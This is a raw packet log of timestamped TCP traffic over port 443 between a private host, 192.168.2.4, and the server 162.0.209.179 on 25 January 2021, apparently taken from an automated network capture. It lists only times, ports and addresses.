Jan 25, 2021 21:14:23.766474009 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.842489958 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.842576981 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:23.842609882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.842650890 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.842688084 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:23.842709064 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:23.842731953 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.842771053 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.842809916 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.843094110 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:23.847052097 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.847959042 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:23.966154099 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:24.170649052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:24.175131083 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:24.176376104 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:24.178117037 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:24.423347950 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:24.501292944 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:24.501341105 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:24.501389980 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:24.501447916 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:24.501496077 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:24.501519918 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:24.501559973 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:24.501579046 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:24.501606941 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:24.501848936 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:24.503277063 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:24.503710032 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:24.622272015 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:24.948605061 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:25.307940006 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:25.948565960 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:26.783087015 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:26.783147097 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:26.783179998 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:26.783220053 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:26.783258915 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:26.783396959 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:26.783937931 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:26.784605980 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:26.952572107 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:26.952624083 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:26.952919006 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:26.953433990 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:26.989289999 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:27.113312006 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:27.113354921 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:27.113401890 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:27.113426924 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:27.157901049 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:27.347147942 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:27.347193003 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:27.347223043 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:27.347263098 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:27.347326040 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:27.347372055 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:27.551961899 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:27.552052975 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:27.670675039 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:27.875143051 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:27.880394936 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:27.880534887 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:27.886543989 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:28.133996010 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:28.217109919 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:28.217143059 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:28.217160940 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:28.217185974 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:28.217211962 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:28.217235088 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:28.217286110 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:28.217324972 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:28.423258066 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:28.423388958 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:28.529448032 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:28.733858109 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:28.738962889 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:28.739178896 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:28.740412951 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:28.985109091 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.064388990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.064450026 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.064486980 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.064527988 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.064563990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.064608097 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:29.064613104 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.064641953 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:29.064677954 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:29.066379070 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.066960096 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:29.184462070 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:29.389050961 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.393630028 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.394021988 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:29.394918919 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:29.639828920 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.719078064 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.719147921 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.719197989 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.719250917 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.719305992 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.719361067 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.719383955 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:29.719454050 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:29.720712900 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:29.722596884 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:29.841012955 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:30.046308041 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:30.050518990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:30.050609112 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:30.052455902 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:30.297683954 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:30.371160030 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:30.371212006 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:30.371237040 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:30.371244907 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:30.371268988 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:30.371278048 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:30.371310949 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:30.371325970 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:30.371345997 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:30.371359110 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:30.371392012 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:30.372958899 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:30.373648882 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:30.481326103 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:30.685790062 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:30.690954924 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:30.693660021 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:30.699374914 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:30.943633080 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.044562101 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.044619083 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.044656992 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.044697046 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.044747114 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.044764042 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.044816017 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:31.044852018 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:31.046675920 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.047312021 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:31.153448105 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:31.358417988 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.363496065 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.364429951 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:31.365695000 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:31.610198021 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.718719959 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.718748093 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.718766928 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.718784094 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.718833923 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:31.718867064 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:31.718919992 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.718936920 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.719392061 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:31.720859051 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:31.721729040 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:31.828146935 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.032665968 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.036293983 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.036613941 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.037502050 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.282747984 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.351133108 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.351180077 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.351222038 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.351259947 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.351289034 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.351298094 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.351315975 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.351344109 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.351346016 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.351388931 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.353494883 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.353863001 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.465600967 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.670145988 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.675616980 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.676651001 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.677762985 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.925206900 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.999309063 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.999386072 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.999428988 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.999468088 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.999509096 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.999511957 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.999546051 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.999548912 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:32.999552011 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.999557018 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:32.999600887 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:33.001321077 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:33.001852036 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:33.106478930 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:33.311299086 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:33.316075087 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:33.316205025 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:33.316919088 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:33.561764002 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:33.638057947 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:33.638111115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:33.638159990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:33.638202906 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:33.638240099 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:33.638278961 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:33.638318062 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:33.638360977 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:33.638894081 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:33.639223099 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:33.748018980 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:33.952548027 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:33.957262039 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:33.958621025 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:33.964124918 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:34.208806038 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:34.283596039 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:34.283622980 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:34.283644915 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:34.283669949 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:34.283694029 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:34.283715010 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:34.283772945 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:34.283818960 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:34.284904003 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:34.284985065 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:34.388114929 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:34.592691898 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:34.597271919 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:34.597616911 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:34.598948002 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:34.918044090 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:35.005737066 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:35.006984949 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:35.162077904 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:35.239392042 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:35.239468098 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:35.240372896 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:35.446248055 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:35.446290970 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:35.446320057 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:35.448792934 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:35.653220892 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:35.653271914 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:35.653330088 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:35.653369904 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:35.763293982 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:35.973828077 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:35.977253914 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:35.977797031 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:35.980474949 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:36.225008965 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:36.298379898 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:36.298443079 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:36.298461914 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:36.298501015 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:36.298590899 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:36.299910069 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:36.300024986 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:36.503213882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:36.503243923 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:36.503426075 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:36.606970072 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:36.811321974 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:36.816158056 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:36.817461967 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:36.820256948 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:37.065063953 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.149091959 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.149126053 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.149146080 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.149161100 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.149175882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.149189949 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.149276972 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:37.149507999 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:37.151451111 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.152646065 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:37.263427019 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:37.467928886 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.473241091 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.473329067 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:37.474183083 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:37.719537973 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.793764114 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.793821096 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.793869972 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.793911934 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.793951035 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.793989897 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.793993950 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:37.794040918 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:37.794048071 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:37.795382977 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:37.796139956 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:37.905843973 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:38.110347986 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:38.115825891 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:38.116183996 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:38.117069006 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:38.361845016 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:38.441576958 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:38.441621065 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:38.441649914 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:38.441684008 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:38.441713095 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:38.441740990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:38.441790104 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:38.441834927 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:38.442641973 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:38.444169044 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:38.560019016 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:38.764564991 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:38.769243956 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:38.769342899 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:38.770911932 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:39.014830112 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.091650963 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.091689110 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.091713905 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.091736078 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.091762066 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.091788054 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.091814041 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:39.091857910 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:39.093261003 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.094181061 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:39.200787067 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:39.405356884 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.410459995 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.410533905 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:39.411398888 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:39.658031940 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.736480951 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:39.736545086 CET	443	49745	162.0.209.179	192.168.2.4
